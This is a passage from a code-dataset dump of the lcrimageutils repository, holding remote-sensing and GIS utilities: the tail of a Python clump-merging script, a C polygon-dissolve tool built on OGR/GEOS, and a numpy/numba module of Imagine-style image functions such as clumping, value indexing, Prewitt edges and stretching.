os.remove(inputs.tileclump)\n\n inputs.tileclump = tmpMerged\n\n dontrecodesum = dontrecode.sum()\n finished = dontrecodesum == 0\n if not finished:\n print('%d clumps failed to merge. %d recoded' % (\n otherinputs.nFailedRecodes, dontrecodesum))\n print('having another go')\n\n # now we save the final output as the output name and calc stats\n cmd = 'gdalcalcstats %s -ignore 0' % tmpMerged\n os.system(cmd)\n\n # use move rather than rename in case we are on different filesystems\n shutil.move(tmpMerged, outfile)\n\n # just be careful here since the permissions will be set strangely\n # for outfile since it was created by tempfile. Set to match current umask\n current_umask = os.umask(0)\n os.umask(current_umask) # can't get without setting!\n # need to convert from umask to mode and remove exe bits\n mode = 0o0777 & ~current_umask\n mode = (((mode ^ stat.S_IXUSR) ^ stat.S_IXGRP) ^ stat.S_IXOTH)\n\n os.chmod(outfile, mode)\n\n history.insertMetadataFilename(outfile, [infile], {})\n\nif __name__ == '__main__':\n cmdargs = CmdArgs()\n\n doClump(cmdargs.infile, cmdargs.output, cmdargs.tempdir)\n \n" }, { "alpha_fraction": 0.6023182272911072, "alphanum_fraction": 0.6043879985809326, "avg_line_length": 31.497756958007812, "blob_id": "7e2d19d9273f6238dcc9fb6e894c81b9a29d8356", "content_id": "2b1b84cb7224b4993b8860569067d07419183c6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7247, "license_type": "no_license", "max_line_length": 193, "num_lines": 223, "path": "/utils/src/ogrdissolve/ogrdissolve.cpp", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "/*\nProgram to dissolve all the polygons in an input file and\ncreate a new output file. Uses the GEOS cascaded union function.\n\nNeed to add support for multiple input files and dissolving on attributes.\n\nIf adding support for multiple input files, I would suggest re-writing\nthis in C++ and using an STL vector for holding the geometries so you can\nloop through each file and add the geoms in without having to allocate\nenough space first.\n\nOther option is to re-write this in Python, but it seems that the GEOS\nPython bindings no longer work and Shapely seems plain weird. \n\n*/\n\n#include <stdio.h>\n#include <stdarg.h>\n\n#include \"ogr_api.h\"\n#include \"geos_c.h\"\n\n/* Handler that gets called if there is an ERROR in GEOS */\nvoid geosHandler(const char *fmt, ...)\n{\n va_list ap;\n va_start(ap, fmt);\n\n fprintf( stderr, \"Message from GEOS:\\n\" );\n vfprintf( stderr, fmt, ap );\n \n va_end(ap);\n}\n\n/* Creates a GEOS collection from an OGR data source */\nGEOSGeometry *collectionFromOGR(const char *pszFilename)\n{\n printf( \"Reading file...\\n\" );\n\n /* Open the input OGR dataset */\n OGRDataSourceH hDS = OGROpen( pszFilename, FALSE, NULL );\n if( hDS == NULL )\n {\n fprintf( stderr, \"Unable to open %s\\n\", pszFilename );\n exit(1);\n }\n \n /* Get this first layer. This is OK for shape files. Not sure about others... */\n OGRLayerH hLayer = OGR_DS_GetLayer( hDS, 0 );\n OGR_L_ResetReading(hLayer);\n \n /* Get the number of features in this dataset so we now how much to malloc */\n int nFeatures = OGR_L_GetFeatureCount(hLayer,TRUE);\n \n /* Create our list of GEOSGeometry*'s that we create a collection from later */\n GEOSGeometry **ppGeomList = (GEOSGeometry**)calloc( nFeatures, sizeof(GEOSGeometry*) );\n\n /* Create the GEOS WKB reader */\n GEOSWKBReader *GeosReader = GEOSWKBReader_create();\n\n /* loop thru each feature in the file */\n int nCount = 0;\n OGRFeatureH hFeature;\n int nLastPercent = -1;\n while( (hFeature = OGR_L_GetNextFeature(hLayer)) != NULL )\n {\n /* Update percent */\n int nPercent = (int)( (double)nCount / (double)nFeatures * 100.0 );\n if( nPercent != nLastPercent )\n {\n fprintf( stderr, \"%d%%\\r\", nPercent );\n nLastPercent = nPercent;\n }\n\n /* Get the geometry */\n OGRGeometryH hOGRGeom = OGR_F_GetGeometryRef(hFeature);\n if( hOGRGeom != NULL )\n {\n /* Is it OK? */\n if( OGR_G_IsValid(hOGRGeom) )\n {\n /* Get the size that the WKB for this Geometry is going to be */\n int nWKBSize = OGR_G_WkbSize( hOGRGeom );\n \n /*fprintf( stderr, \"%d %d %d %d %d %d %d\\n\", nWKBSize, nCount, nFeatures, OGR_G_IsEmpty(hOGRGeom), OGR_G_IsSimple(hOGRGeom), OGR_G_IsValid(hOGRGeom), OGR_G_IsRing(hOGRGeom) );*/\n \n /* Allocate memory for the WKB */\n /* If I was smarter I would resuse the bufffer */\n unsigned char *pWKBBuffer = (unsigned char*)malloc( nWKBSize );\n \n /* Get the Geometry as a WKB */\n OGR_G_ExportToWkb( hOGRGeom, wkbNDR, pWKBBuffer );\n \n /* Read in the WKB as a GEOSGeometry using the reader */ \n ppGeomList[nCount] = GEOSWKBReader_read( GeosReader, pWKBBuffer, nWKBSize );\n \n /* Free the buffer */\n free( pWKBBuffer );\n \n /* Increment our counter */\n nCount++;\n }\n }\n \n /* Destroy the feature object */\n OGR_F_Destroy( hFeature );\n }\n /* Close the OGR datasource */\n OGR_DS_Destroy( hDS );\n\n /* We have finished with the reader also */\n GEOSWKBReader_destroy( GeosReader );\n \n /* Create a GEOS collection that holds all output data */ \n GEOSGeometry* pGeoCollection = GEOSGeom_createCollection( GEOS_MULTIPOLYGON, ppGeomList, nCount );\n\n /* Free our list of geometries that was used to make a collection */ \n free( ppGeomList );\n \n return pGeoCollection;\n}\n\n/* Writes out the result to a shapefile */\nvoid writeCollectionToOGR( const char *pszFilename, GEOSGeometry *pGEOSCollection )\n{\n /* Get the driver for a shapefile */\n OGRSFDriverH hDriver = OGRGetDriverByName(\"ESRI Shapefile\");\n \n /* Create the OGR datasource */\n OGRDataSourceH hDS = OGR_Dr_CreateDataSource( hDriver, pszFilename, NULL );\n if( hDS == NULL )\n {\n fprintf( stderr, \"Unable to create %s\\n\", pszFilename );\n }\n\n /* Create our layer - there is only one */\n OGRLayerH hLayer = OGR_DS_CreateLayer( hDS, \"out\", NULL, wkbPolygon, NULL );\n \n /* Create a GEOSWriter */\n GEOSWKBWriter *geosWriter = GEOSWKBWriter_create();\n \n /* Set byte order to Intel */\n GEOSWKBWriter_setByteOrder( geosWriter, GEOS_WKB_NDR );\n \n /* Loop thru eachGeometry */\n size_t nSize = 0;\n int nCount;\n for( nCount = 0; nCount < GEOSGetNumGeometries(pGEOSCollection); nCount++ )\n {\n /* Get the current Geometry out of the collection */\n const GEOSGeometry *pOutGeom = GEOSGetGeometryN( pGEOSCollection, nCount );\n \n /* Write it to WKB */\n unsigned char *pWKBBuffer = GEOSWKBWriter_write( geosWriter, pOutGeom, &nSize );\n \n /* Create an empty OGR Geometry */\n OGRGeometryH hOGRGeom = OGR_G_CreateGeometry( wkbPolygon );\n \n /* make the OGR Geometry object from the WKB */\n OGR_G_ImportFromWkb( hOGRGeom, pWKBBuffer, nSize );\n \n /* Create a new feature */\n OGRFeatureH hFeature = OGR_F_Create( OGR_L_GetLayerDefn( hLayer ) );\n\n /* set the geometry for the feature */\n OGR_F_SetGeometry( hFeature, hOGRGeom ); \n \n /* Destroy the OGR geom */\n OGR_G_DestroyGeometry( hOGRGeom );\n\n /* Add the feature to the layer */\n OGR_L_CreateFeature( hLayer, hFeature );\n\n /* destory the feature */\n OGR_F_Destroy( hFeature );\n\n /* Free the WKB */\n GEOSFree( pWKBBuffer );\n }\n \n /* Finished with the writer */\n GEOSWKBWriter_destroy( geosWriter );\n \n /* Close the datasource */\n OGR_DS_Destroy( hDS );\n}\n\nint main( int argc, char *argv[] )\n{\n if( argc != 3 )\n {\n fprintf( stderr, \"usage: ogrdissolve infile outshp\\n\" );\n exit(1);\n }\n\n /* Initialise OGR */\n OGRRegisterAll();\n \n /* Initialise GEOS */\n initGEOS(geosHandler, geosHandler);\n\n /* Read in the Geometry's from the input file */\n GEOSGeometry *pGeoCollection = collectionFromOGR( argv[1] );\n \n /* Now do the union */\n printf( \"Doing dissolve...\\n\" );\n GEOSGeometry* pGeoCascaded = GEOSUnionCascaded( pGeoCollection );\n \n printf( \"%d -> %d\\n\", GEOSGetNumGeometries(pGeoCollection), GEOSGetNumGeometries(pGeoCascaded) );\n \n printf( \"Writing output...\\n\" );\n writeCollectionToOGR( argv[2], pGeoCascaded );\n \n /* Destroy our Geometry collections */ \n /* Not sure if we should be looping thru.... */\n GEOSGeom_destroy( pGeoCollection );\n GEOSGeom_destroy( pGeoCascaded );\n\n /* close down GEOS */\n finishGEOS();\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5676481127738953, "alphanum_fraction": 0.5813764929771423, "avg_line_length": 34.331600189208984, "blob_id": "ee945a96a353d98bcdfbdcba9bd21c7ef910d823", "content_id": "9eeb1d02259a3f533e555e51d555b031942446e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27170, "license_type": "no_license", "max_line_length": 111, "num_lines": 769, "path": "/pyutils/lcrimageutils/mdl.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"\nFunctions which are of use in PyModeller, and elsewhere. These are\nmainly mimics/replacements for functions which are available in \nImagine Spatial Modeller, but are not native to pymodeller/numpy. \n\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport sys\nimport numpy\nimport functools\ntry:\n from numba import jit\n HAVE_NUMBA = True\nexcept ImportError:\n # numba not available - expect some functions to run very slow...\n HAVE_NUMBA = False\n # have to define our own jit so Python doesn't complain\n def jit(func):\n def wrapper(*args, **kwargs):\n if not hasattr(func, 'numbaWarningEmitted'):\n print(\"Warning: Numba not available - function '%s' will run very slowly...\" % func.__name__)\n func.numbaWarningEmitted = True\n return func(*args, **kwargs)\n return wrapper\n\nclass MdlFuncError(Exception):\n pass\nclass ShapeMismatchError(MdlFuncError):\n pass\nclass ScalarMaskError(MdlFuncError):\n pass\nclass NotImageError(MdlFuncError):\n pass\nclass NonIntTypeError(MdlFuncError):\n pass\nclass RangeError(MdlFuncError): pass\n\ndef stackwhere(mask, trueVal, falseVal):\n \"\"\"\n Behaves like a numpy \"where\" function, but specifically for\n use with images and image stacks. Thus, the mask can be a single\n layer image (i.e. a 2-d array), but the true and false values can\n be multi-layer image stacks (i.e. 3-d arrays, where the first \n dimension is layer number, and the other two dimensions must\n match those of the mask). \n \n The output will be of the same shape as the true and false \n input arrays. \n \n When one or other of the true or false values is given as a scalar, or \n a single image, it will attempt to promote the rank to match the other. \n \n It seems to work fine for single layer inputs as well, although\n it wasn't really designed for it. They return as a 3-d array, but\n with only one layer. \n \n \"\"\"\n if numpy.isscalar(mask):\n raise ScalarMaskError(\"Mask is a scalar - this needs an array\")\n \n if mask.ndim != 2:\n raise NotImageError(\"Function only works with images. Shape of mask is %s\"%(mask.shape,))\n \n inputList = [trueVal, falseVal]\n nLayersList = [0, 0]\n valStr = ['trueVal', 'falseVal'] # For error messages\n for i in [0, 1]:\n val = inputList[i]\n if numpy.isscalar(val):\n nLayersList[i] = 0\n elif val.ndim == 2:\n nLayersList[i] = 1\n elif val.ndim == 3:\n nLayersList[i] = val.shape[0]\n else:\n raise NotImageError(\"%s is neither a scalar nor a 2-d or 3-d array. Its shape is %s\" %\n (valStr[i], val.shape))\n\n maxLayers = max(nLayersList)\n minLayers = min(nLayersList)\n if maxLayers not in [0, 1] and minLayers not in [0, 1] and maxLayers != minLayers:\n raise ShapeMismatchError(\"Stacks must have same number of layers: %s != %s\"%(maxLayers, minLayers))\n \n stack = []\n for i in range(maxLayers):\n if numpy.isscalar(trueVal) or trueVal.ndim == 2:\n tVal = trueVal\n elif trueVal.ndim == 3:\n tVal = trueVal[i]\n \n if numpy.isscalar(falseVal) or falseVal.ndim == 2:\n fVal = falseVal\n elif falseVal.ndim == 3:\n fVal = falseVal[i]\n \n img = numpy.where(mask, tVal, fVal)\n stack.append(img)\n \n result = numpy.array(stack)\n return result\n\n\ndef and_list(conditionList):\n \"\"\"\n Takes a list of condition arrays and does logical_and on the whole\n lot. \n \"\"\"\n return functools.reduce(numpy.logical_and, conditionList)\n\ndef or_list(conditionList):\n \"\"\"\n Takes a list of condition arrays and does logical_or on the whole\n lot. \n \"\"\"\n return functools.reduce(numpy.logical_or, conditionList)\n\n\ndef pixinlist(img, valList):\n \"\"\"\n Returns a mask where pixels are true if the corresponding \n pixel values in the input img are in the given valList. \n \n Most useful for lists of specific non-contiguous values. If values are really\n ranges between two values, probably easier to use a logical_and(). \n \"\"\"\n mask = numpy.zeros(img.shape, dtype=bool)\n for val in valList:\n mask[img==val] = True\n return mask\n\n\ndef makestack(inputList):\n \"\"\"\n Makes a single stack of the various images and/or stacks given in \n the list of inputs. Copes with some being single layer (i.e. 2-D) and some\n being multi-layer (i.e. 3-D). \n \"\"\"\n stack = []\n for img in inputList:\n if img.ndim == 2:\n stack.append(img[numpy.newaxis, ...])\n elif img.ndim == 3:\n stack.append(img)\n \n return numpy.concatenate(stack, axis=0)\n\ndef clump(input, valid, clumpId=1):\n \"\"\"\n Implementation of clump using Numba\n Uses the 4 connected algorithm.\n\n Input should be an integer 2 d array containing the data to be clumped.\n Valid should be a boolean 2 d array containing True where data to be \n processed\n clumpId is the start clump id to use\n \n\n returns a 2d uint32 array containing the clump ids\n and the highest clumpid used + 1\n \"\"\"\n (ysize, xsize) = input.shape\n output = numpy.zeros_like(input, dtype=numpy.uint32)\n search_list = numpy.empty((xsize*ysize, 2), dtype=numpy.int)\n\n clumpId = _clump(input, valid, output, search_list, clumpId)\n return output, clumpId\n\n@jit\ndef _clump(input, valid, output, search_list, clumpId=1):\n \"\"\"\n Implementation of clump using Numba\n Uses the 4 connected algorithm.\n returns a 2d uint32 array containing the clump ids\n returns the highest clumpid used + 1\n \n For internal use by clump()\n \"\"\"\n (ysize, xsize) = input.shape\n\n # lists slow from Numba - use an array since\n # we know the maximum size\n searchIdx = 0\n\n # run through the image\n for y in range(ysize):\n for x in range(xsize):\n # check if we have visited this one before\n if valid[y, x] and output[y, x] == 0:\n val = input[y, x]\n searchIdx = 0\n search_list[searchIdx, 0] = y\n search_list[searchIdx, 1] = x\n searchIdx += 1\n output[y, x] = clumpId # marked as visited\n\n while searchIdx > 0:\n # search the last one\n searchIdx -= 1\n sy = search_list[searchIdx, 0]\n sx = search_list[searchIdx, 1]\n\n # work out the 3x3 window to vist\n tlx = sx - 1\n if tlx < 0:\n tlx = 0\n tly = sy - 1\n if tly < 0:\n tly = 0\n brx = sx + 1\n if brx > xsize - 1:\n brx = xsize - 1\n bry = sy + 1\n if bry > ysize - 1:\n bry = ysize - 1\n\n for cx in range(tlx, brx+1):\n for cy in range(tly, bry+1):\n # do a '4 neighbour search'\n # don't have to check we are the middle\n # cell since output will be != 0\n # since we do that before we add it to search_list\n if (cy == sy or cx == sx) and (valid[cy, cx] and \n output[cy, cx] == 0 and \n input[cy, cx] == val):\n output[cy, cx] = clumpId # mark as visited\n # add this one to the ones to search the neighbours\n search_list[searchIdx, 0] = cy\n search_list[searchIdx, 1] = cx\n searchIdx += 1\n clumpId += 1\n\n return clumpId\n\ndef clumpsizes(clumps, nullVal=0):\n \"\"\"\n This function is almost entirely redundant, and should be replaced with \n numpy.bincount(). This function now uses that instead. Please use\n that directly, instead of this. The only difference is the treatment \n of null values (bincount() does not treat them in any special way, \n whereas this function allows a nullVal to be set, and the count for \n that value is zero). \n \n Takes a clump id image as given by the clump() function and counts the \n size of each clump, in pixels. Essentially this is doing a histogram\n of the clump img. Returns an array of pixel counts, where the array index\n is equal to the corresponding clump id. \n \n \"\"\"\n counts = numpy.bincount(clumps.flatten())\n counts[nullVal] = nullVal\n\n return counts\n\n\ndef clumpsizeimg(clumps, nullVal=0):\n \"\"\"\n Takes a clump id image as given by the clump() function, and returns \n an image of the same shape but with each clump pixel equal to the \n number of pixels in its clump. This can then be used to contruct a \n mask of pixels in clumps of a given size. \n \n \"\"\"\n sizes = clumpsizes(clumps, nullVal)\n sizeimg = sizes[clumps]\n return sizeimg\n\nclass ValueIndexes(object):\n \"\"\"\n An object which contains the indexes for every value in a given array.\n This class is intended to mimic the reverse_indices clause in IDL,\n only nicer. \n \n Takes an array, works out what unique values exist in this array. Provides\n a method which will return all the indexes into the original array for \n a given value. \n \n The array must be of an integer-like type. Floating point arrays will\n not work. If one needs to look at ranges of values within a float array,\n it is possible to use numpy.digitize() to create an integer array \n corresponding to a set of bins, and then use ValueIndexes with that. \n \n Example usage, for a given array a\n valIndexes = ValueIndexes(a)\n for val in valIndexes.values:\n ndx = valIndexes.getIndexes(val)\n # Do something with all the indexes\n \n \n This is a much faster and more efficient alternative to something like\n values = numpy.unique(a)\n for val in values:\n mask = (a == val)\n # Do something with the mask\n The point is that when a is large, and/or the number of possible values \n is large, this becomes very slow, and can take up lots of memory. Each \n loop iteration involves searching through a again, looking for a different \n value. This class provides a much more efficient way of doing the same \n thing, requiring only one pass through a. When a is small, or when the \n number of possible values is very small, it probably makes little difference. \n \n If one or more null values are given to the constructor, these will not \n be counted, and will not be available to the getIndexes() method. This \n makes it more memory-efficient, so it doesn't store indexes of a whole \n lot of nulls. \n \n A ValueIndexes object has the following attributes:\n values Array of all values indexed\n counts Array of counts for each value\n nDims Number of dimensions of original array\n indexes Packed array of indexes\n start Starting points in indexes array for each value\n end End points in indexes for each value\n valLU Lookup table for each value, to find it in \n the values array without explicitly searching. \n nullVals Array of the null values requested. \n \n Limtations:\n The array index values are handled using unsigned 32bit int values, so \n it won't work if the data array is larger than 4Gb. I don't think it would\n fail very gracefully, either. \n \n \"\"\"\n def __init__(self, a, nullVals=[]):\n \"\"\"\n Creates a ValueIndexes object for the given array a. \n A sequence of null values can be given, and these will not be included\n in the results, so that indexes for these cannot be determined. \n \n \"\"\"\n if not numpy.issubdtype(a.dtype, numpy.integer):\n raise NonIntTypeError(\"ValueIndexes only works on integer-like types. Array is %s\"%a.dtype)\n \n if numpy.isscalar(nullVals):\n self.nullVals = [nullVals]\n else:\n self.nullVals = nullVals\n\n # Get counts of all values in a\n minval = a.min()\n maxval = a.max()\n (counts, binEdges) = numpy.histogram(a, range=(minval, maxval+1), \n bins=(maxval-minval+1))\n \n # Mask counts for any requested null values. \n maskedCounts = counts.copy()\n for val in self.nullVals:\n maskedCounts[binEdges[:-1]==val] = 0\n self.values = binEdges[maskedCounts>0].astype(a.dtype)\n self.counts = maskedCounts[maskedCounts>0]\n \n # Allocate space to store all indexes\n totalCounts = self.counts.sum()\n self.nDims = a.ndim\n self.indexes = numpy.zeros((totalCounts, a.ndim), dtype=numpy.uint32)\n self.end = self.counts.cumsum()\n self.start = self.end - self.counts\n \n if len(self.values) > 0:\n # A lookup table to make searching for a value very fast.\n valrange = numpy.array([self.values.min(), self.values.max()])\n numLookups = valrange[1] - valrange[0] + 1\n maxUint32 = 2**32 - 1\n if numLookups > maxUint32:\n raise RangeError(\"Range of different values is too great for uint32\")\n self.valLU = numpy.zeros(numLookups, dtype=numpy.uint32)\n self.valLU.fill(maxUint32) # A value to indicate \"not found\", must match _valndxFunc below\n self.valLU[self.values - self.values[0]] = range(len(self.values))\n\n # For use within numba. For each value, the current index \n # into the indexes array. A given element is incremented whenever it finds\n # a new element of that value. \n currentIndex = self.start.copy().astype(numpy.uint32)\n\n # pass the appropriate function in for accessing the \n # values in the array. This is to workaround limitation\n # of numba in that it has to know the dims of the array\n # it is working with\n if a.ndim == 1:\n valndxFunc = _valndxFunc1\n elif a.ndim == 2:\n valndxFunc = _valndxFunc2\n elif a.ndim == 3:\n valndxFunc = _valndxFunc3\n elif a.ndim == 4:\n valndxFunc = _valndxFunc4\n elif a.ndim == 5:\n valndxFunc = _valndxFunc5\n elif a.ndim == 6:\n valndxFunc = _valndxFunc6\n else:\n raise ShapeMismatchError('Array can only have 6 or viewer dimensions')\n\n shape = numpy.array(a.shape, dtype=numpy.int)\n # our array that contains the current index in each of the dims\n curridx = numpy.zeros_like(shape)\n valndxFunc(a, shape, a.ndim, self.indexes, valrange[0], valrange[1], \n self.valLU, currentIndex, curridx)\n\n def getIndexes(self, val):\n \"\"\"\n Return a set of indexes into the original array, for which the\n value in the array is equal to val. \n \n \"\"\"\n # Find where this value is listed. \n valNdx = (self.values == val).nonzero()[0]\n \n # If this value is not actually in those listed, then we \n # must return empty indexes\n if len(valNdx) == 0:\n start = 0\n end = 0\n else:\n # The index into counts, etc. for this value. \n valNdx = valNdx[0]\n start = self.start[valNdx]\n end = self.end[valNdx]\n \n # Create a tuple of index arrays, one for each index of the original array. \n ndx = ()\n for i in range(self.nDims):\n ndx += (self.indexes[start:end, i], )\n return ndx\n\n@jit\ndef _valndxFunc1(a, shape, ndim, indexes, minVal, maxVal, valLU, currentIndex, curridx):\n \"\"\"\n To be called by ValueIndexes. An implementation using Numba of Neil's\n C code. This has the advantage of being able to handle any integer\n type passed.\n \"\"\"\n done = False\n lastidx = ndim - 1\n maxuint32 = 4294967295 # 2^32 - 1\n\n while not done:\n # use the specially chosen function for indexing the array\n arrVal = a[curridx[0]]\n \n found = False\n j = 0\n if arrVal >= minVal and arrVal <= maxVal:\n j = valLU[arrVal - minVal]\n found = j < maxuint32\n\n if found:\n m = currentIndex[j]\n for i in range(ndim):\n indexes[m, i] = curridx[i]\n currentIndex[j] = m + 1 \n \n # code that updates curridx - incs the next dim\n # if we have done all the elements in the current \n # dim\n idx = lastidx\n while idx >= 0:\n curridx[idx] = curridx[idx] + 1\n if curridx[idx] >= shape[idx]:\n curridx[idx] = 0\n idx -= 1\n else:\n break\n\n # if we are done we have run out of dims\n done = idx < 0\n\n@jit\ndef _valndxFunc2(a, shape, ndim, indexes, minVal, maxVal, valLU, currentIndex, curridx):\n \"\"\"\n To be called by ValueIndexes. An implementation using Numba of Neil's\n C code. This has the advantage of being able to handle any integer\n type passed.\n \"\"\"\n done = False\n lastidx = ndim - 1\n maxuint32 = 4294967295 # 2^32 - 1\n\n while not done:\n # use the specially chosen function for indexing the array\n arrVal = a[curridx[0], curridx[1]]\n \n found = False\n j = 0\n if arrVal >= minVal and arrVal <= maxVal:\n j = valLU[arrVal - minVal]\n found = j < maxuint32\n\n if found:\n m = currentIndex[j]\n for i in range(ndim):\n indexes[m, i] = curridx[i]\n currentIndex[j] = m + 1 \n \n # code that updates curridx - incs the next dim\n # if we have done all the elements in the current \n # dim\n idx = lastidx\n while idx >= 0:\n curridx[idx] = curridx[idx] + 1\n if curridx[idx] >= shape[idx]:\n curridx[idx] = 0\n idx -= 1\n else:\n break\n\n # if we are done we have run out of dims\n done = idx < 0\n\n@jit\ndef _valndxFunc3(a, shape, ndim, indexes, minVal, maxVal, valLU, currentIndex, curridx):\n \"\"\"\n To be called by ValueIndexes. An implementation using Numba of Neil's\n C code. This has the advantage of being able to handle any integer\n type passed.\n \"\"\"\n done = False\n lastidx = ndim - 1\n maxuint32 = 4294967295 # 2^32 - 1\n\n while not done:\n # use the specially chosen function for indexing the array\n arrVal = a[curridx[0], curridx[1], curridx[2]]\n \n found = False\n j = 0\n if arrVal >= minVal and arrVal <= maxVal:\n j = valLU[arrVal - minVal]\n found = j < maxuint32\n\n if found:\n m = currentIndex[j]\n for i in range(ndim):\n indexes[m, i] = curridx[i]\n currentIndex[j] = m + 1 \n \n # code that updates curridx - incs the next dim\n # if we have done all the elements in the current \n # dim\n idx = lastidx\n while idx >= 0:\n curridx[idx] = curridx[idx] + 1\n if curridx[idx] >= shape[idx]:\n curridx[idx] = 0\n idx -= 1\n else:\n break\n\n # if we are done we have run out of dims\n done = idx < 0\n\n@jit\ndef _valndxFunc4(a, shape, ndim, indexes, minVal, maxVal, valLU, currentIndex, curridx):\n \"\"\"\n To be called by ValueIndexes. An implementation using Numba of Neil's\n C code. This has the advantage of being able to handle any integer\n type passed.\n \"\"\"\n done = False\n lastidx = ndim - 1\n maxuint32 = 4294967295 # 2^32 - 1\n\n while not done:\n # use the specially chosen function for indexing the array\n arrVal = a[curridx[0], curridx[1], curridx[2], curridx[3]]\n \n found = False\n j = 0\n if arrVal >= minVal and arrVal <= maxVal:\n j = valLU[arrVal - minVal]\n found = j < maxuint32\n\n if found:\n m = currentIndex[j]\n for i in range(ndim):\n indexes[m, i] = curridx[i]\n currentIndex[j] = m + 1 \n \n # code that updates curridx - incs the next dim\n # if we have done all the elements in the current \n # dim\n idx = lastidx\n while idx >= 0:\n curridx[idx] = curridx[idx] + 1\n if curridx[idx] >= shape[idx]:\n curridx[idx] = 0\n idx -= 1\n else:\n break\n\n # if we are done we have run out of dims\n done = idx < 0\n\n@jit\ndef _valndxFunc5(a, shape, ndim, indexes, minVal, maxVal, valLU, currentIndex, curridx):\n \"\"\"\n To be called by ValueIndexes. An implementation using Numba of Neil's\n C code. This has the advantage of being able to handle any integer\n type passed.\n \"\"\"\n done = False\n lastidx = ndim - 1\n maxuint32 = 4294967295 # 2^32 - 1\n\n while not done:\n # use the specially chosen function for indexing the array\n arrVal = a[curridx[0], curridx[1], curridx[2], curridx[3], curridx[4]]\n \n found = False\n j = 0\n if arrVal >= minVal and arrVal <= maxVal:\n j = valLU[arrVal - minVal]\n found = j < maxuint32\n\n if found:\n m = currentIndex[j]\n for i in range(ndim):\n indexes[m, i] = curridx[i]\n currentIndex[j] = m + 1 \n \n # code that updates curridx - incs the next dim\n # if we have done all the elements in the current \n # dim\n idx = lastidx\n while idx >= 0:\n curridx[idx] = curridx[idx] + 1\n if curridx[idx] >= shape[idx]:\n curridx[idx] = 0\n idx -= 1\n else:\n break\n\n # if we are done we have run out of dims\n done = idx < 0\n\n@jit\ndef _valndxFunc6(a, shape, ndim, indexes, minVal, maxVal, valLU, currentIndex, curridx):\n \"\"\"\n To be called by ValueIndexes. An implementation using Numba of Neil's\n C code. This has the advantage of being able to handle any integer\n type passed.\n \"\"\"\n done = False\n lastidx = ndim - 1\n maxuint32 = 4294967295 # 2^32 - 1\n\n while not done:\n # use the specially chosen function for indexing the array\n arrVal = a[curridx[0], curridx[1], curridx[2], curridx[3], curridx[4], curridx[5]]\n \n found = False\n j = 0\n if arrVal >= minVal and arrVal <= maxVal:\n j = valLU[arrVal - minVal]\n found = j < maxuint32\n\n if found:\n m = currentIndex[j]\n for i in range(ndim):\n indexes[m, i] = curridx[i]\n currentIndex[j] = m + 1 \n \n # code that updates curridx - incs the next dim\n # if we have done all the elements in the current \n # dim\n idx = lastidx\n while idx >= 0:\n curridx[idx] = curridx[idx] + 1\n if curridx[idx] >= shape[idx]:\n curridx[idx] = 0\n idx -= 1\n else:\n break\n\n # if we are done we have run out of dims\n done = idx < 0\n\n\n\ndef prewitt(img):\n \"\"\"\n Implements a prewitt edge detection filter which behaves the same as the\n one in Imagine Spatial Modeller. \n \n Note, firstly, that the one given in scipy.ndimage is broken, and \n secondly, that the edge detection filter given in the Imagine Viewer is\n different to the one available as a graphic model. This function is the\n same as the one supplied as a graphic model. \n \n Returns an edge array of the same shape as the input image. The kernel\n used is a 3x3 kernel, so when this function is used from within pymodeller\n the settings should have a window overlap of 1. The returned array is of type\n float, and care should be taken if truncating to an integer type. The magnitude \n of the edge array scales with the magnitude of the input pixel values. \n \n \"\"\"\n kernel1 = numpy.array([1.0, 0.0, -1.0])\n kernel2 = numpy.array([1.0, 1.0, 1.0])\n Gx1 = convRows(img, kernel1)\n Gx = convCols(Gx1, kernel2)\n Gy1 = convCols(img, kernel1)\n Gy = convRows(Gy1, kernel2)\n \n G = numpy.sqrt(Gx*Gx + Gy*Gy)\n \n return G\n\ndef convRows(a, b):\n \"\"\"\n Utility function to convolve b along the rows of a\n \"\"\"\n out = numpy.zeros(a.shape)\n for i in range(a.shape[0]):\n out[i,1:-1] = numpy.correlate(a[i,:], b)\n return out\n\ndef convCols(a, b):\n \"\"\"\n Utility function to convolve b along the cols of a\n \"\"\"\n out = numpy.zeros(a.shape)\n for j in range(a.shape[1]):\n out[1:-1,j] = numpy.correlate(a[:,j], b)\n return out\n\ndef stretch(imgLayer, numStdDev, minVal, maxVal, ignoreVal, \n globalMean, globalStdDev, outputNullVal=0):\n \"\"\"\n Implements the Imagine Modeller STRETCH function. Takes\n a single band and applies a histogram stretch to it, returning\n the stretched image. The returned image is always a 2-d array. \n \n \"\"\"\n\n stretched = (minVal + \n ((imgLayer - globalMean + globalStdDev * numStdDev) * (maxVal - minVal))/(globalStdDev * 2 *numStdDev))\n \n stretched = stretched.clip(minVal, maxVal)\n stretched = numpy.where(imgLayer == ignoreVal, outputNullVal, stretched)\n return stretched\n\ndef makeBufferKernel(buffsize):\n \"\"\"\n Make a 2-d array for buffering. It represents a circle of \n radius buffsize pixels, with 1 inside the circle, and zero outside.\n \"\"\"\n bufferkernel = None\n if buffsize > 0:\n n = 2 * buffsize + 1\n (r, c) = numpy.mgrid[:n, :n]\n radius = numpy.sqrt((r-buffsize)**2 + (c-buffsize)**2)\n bufferkernel = (radius <= buffsize).astype(numpy.uint8)\n return bufferkernel\n" }, { "alpha_fraction": 0.7059524059295654, "alphanum_fraction": 0.7059524059295654, "avg_line_length": 31.230770111083984, "blob_id": "78a3cc698949ec2c337a118747f87fc7cc2b9688", "content_id": "13ed00180c3232cfd913bb35fb2c6e881b9ea16c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 840, "license_type": "no_license", "max_line_length": 171, "num_lines": 26, "path": "/utils/src/common/Makefile", "repo_name": "ubarsc/lcrimageutils", 